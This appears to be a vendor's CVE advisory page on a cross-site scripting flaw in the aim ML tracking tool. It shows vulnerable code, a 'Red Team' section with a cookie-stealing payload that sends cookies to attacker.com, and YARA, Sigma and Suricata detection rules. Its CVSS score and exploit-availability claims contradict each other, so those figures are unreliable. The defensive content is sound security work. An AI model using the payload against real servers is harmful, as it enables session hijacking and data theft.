☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8863

CVE-2024-8863 Cross-Site Scripting in Aimhubio
📅 PUBLISHED: 2024-09-14 23:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.50%
👁️
0.50% probability
12.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8863 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in aimhubio aim, an open-source AI experiment tracking tool. The flaw resides in the textbox.tsx component's Text Explorer feature, where the query parameter is passed unsanitized to dangerouslySetInnerHTML. An attacker can craft a malicious query string containing JavaScript payloads that execute in the context of a victim's browser when they view the Text Explorer results. The vendor (aimhubio) was contacted but did not respond, leaving the vulnerability unpatched as of version 3.24. The exploit has been publicly disclosed, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Python package aim (PyPI). Users who install aim via pip are at risk. The package is widely used in MLOps pipelines, and a successful XSS attack could lead to session hijacking, data exfiltration, or further compromise of the AI/ML infrastructure. No patched version has been released.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must view the crafted query.
  • Scope (S): Unchanged (U) – The vulnerable component and the victim's browser are the same scope.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

CVSS Score: 6.1 (Medium) – Exploitation is straightforward but requires user interaction.

Deep Dive & Mechanics

The vulnerability is in the textbox.tsx file, specifically in the TextExplorer component. The component uses React's dangerouslySetInnerHTML to render user-supplied input from the query parameter without sanitization. This is a classic XSS pattern.

Root Cause: The query parameter is directly interpolated into the HTML without escaping or sanitization. For example, if a user submits a query like <img src=x onerror=alert(1)>, the browser will execute the JavaScript.

Attack Vector: An attacker can craft a malicious URL or API request to the aim server that includes the XSS payload in the query parameter. When a victim (e.g., a data scientist) views the Text Explorer results, the payload executes.

Impact: The attacker can steal session cookies, perform actions on behalf of the victim, redirect to phishing pages, or exfiltrate sensitive experiment data.

Vulnerable vs. Patched Code

Vulnerable Code (aim <= 3.24):

// textbox.tsx (simplified)
function TextExplorer({ query }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: query }} />
  );
}

Patched Code (Hypothetical):

// textbox.tsx (patched)
import DOMPurify from 'dompurify';

function TextExplorer({ query }) {
  const sanitizedQuery = DOMPurify.sanitize(query);
  return (
    <div dangerouslySetInnerHTML={{ __html: sanitizedQuery }} />
  );
}

Explanation: The vulnerable code directly passes the query to dangerouslySetInnerHTML. The patched version uses DOMPurify to sanitize the input, removing malicious HTML/JavaScript while preserving safe content.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A running instance of aim (version <= 3.24) accessible via HTTP.
  • Ability to craft a URL or API request.

Exploit Payload:

<script>alert('XSS')</script>

Step-by-Step:

  1. Identify the aim server URL (e.g., http://target:43899).
  2. Navigate to the Text Explorer endpoint: http://target:43899/text-explorer?query=<script>alert('XSS')</script>.
  3. The victim (or you) will see an alert box, confirming XSS.

Advanced Payload (Cookie Stealing):

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Full URL:

http://target:43899/text-explorer?query=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defense & Detection)

Detection:

  • Monitor web server logs for suspicious query parameters containing <script>, onerror, onload, etc.
  • Use WAF rules to block common XSS patterns.

Mitigation:

  • Apply input sanitization (e.g., DOMPurify) on the server side.
  • Use Content Security Policy (CSP) headers to restrict script execution.
  • Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /text-explorer with query parameter containing <script> or onerror attributes.
    • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • File IOCs:
    • Modified textbox.tsx file (if attacker has write access).
  • Log IOCs:
    • Web server logs showing query parameter with HTML/JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_8863_XSS_aim {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-8863 in aim Text Explorer"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-8863"
    strings:
        $xss1 = /query=.*<script>/ nocase
        $xss2 = /query=.*onerror=/ nocase
        $xss3 = /query=.*onload=/ nocase
        $xss4 = /query=.*javascript:/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-8863 XSS in aim Text Explorer
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against aim Text Explorer
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'query=<script'
            - 'query=onerror='
            - 'query=onload='
            - 'query=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8863 XSS in aim Text Explorer"; flow:to_server; content:"/text-explorer"; http_uri; content:"query="; http_uri; pcre:"/query=.*(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable Text Explorer: If not needed, disable the Text Explorer component in the aim configuration.
  2. Input Sanitization: Implement server-side sanitization using a library like DOMPurify or bleach (Python).
  3. WAF Rules: Deploy WAF rules to block XSS payloads in the query parameter.
  4. CSP Header: Add a Content Security Policy header that restricts script execution (e.g., script-src 'self').

Long-Term Fix:

  • The vendor must release a patched version that sanitizes input before passing to dangerouslySetInnerHTML. Until then, consider forking the repository and applying the fix manually.

Workaround:

  • Use a reverse proxy (e.g., Nginx) to filter malicious requests:
location /text-explorer {
    if ($arg_query ~* "(<script|onerror|onload|javascript:)") {
        return 403;
    }
}

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8863/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.